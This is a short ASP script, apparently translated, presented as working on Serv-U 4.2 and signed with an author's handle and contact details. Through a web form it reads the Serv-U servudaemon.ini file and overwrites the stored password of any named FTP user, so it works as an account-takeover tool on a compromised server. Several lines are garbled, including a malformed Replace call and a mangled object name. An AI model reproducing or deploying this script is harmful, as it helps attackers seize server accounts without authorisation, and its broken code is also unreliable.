The following code tests valid on Serv-u 4.2
<%
' |###########################|
' | Nets Sea Survivor qq:54883661 |
' | mail:wuyingke5155@163.com |
' |###########################|
Inipath= "D:\Program files\serv-u\servudaemon.ini" ' Set Servudaemon.ini file path
User= "[user=" &request ("USER") & "|1]"
pass= "password=" &request ("pass")
Key=request ("key")
If key<> "" Then
Dim os,userlong,passlong,pl,s,ss
Set fso=createobject ("Scripting. FileSystemObject ")
Set Os=fso.opentextfile (inipath,1) ' Read Servudaemon.ini
S=os.readall
Os.close
Userlong=instr (S,user) +len (user) +2
For I=userlong to Userlong+20
Passlong=passlong+1
If ASC (Mid (s,i,1)) =13 Then
Exit For
End If
Next
Pl=mid (s,userlong,passlong-1)
Ss=replace (S,USER&CHR) &CHR (a) &pl,user&chr (a) &CHR)
Set Os=fso.createtextfile (inipath,true) ' Write Servudaemon.ini
Os.write SS
Os.close
End If
%>
<form method= "POST" >
User name: <input type= "text" name= "user" ><br>
New password: <input type= "text" name= "pass" ><br>
<input type= "Submit" Name= "key" value= "modified" ><br>
</form>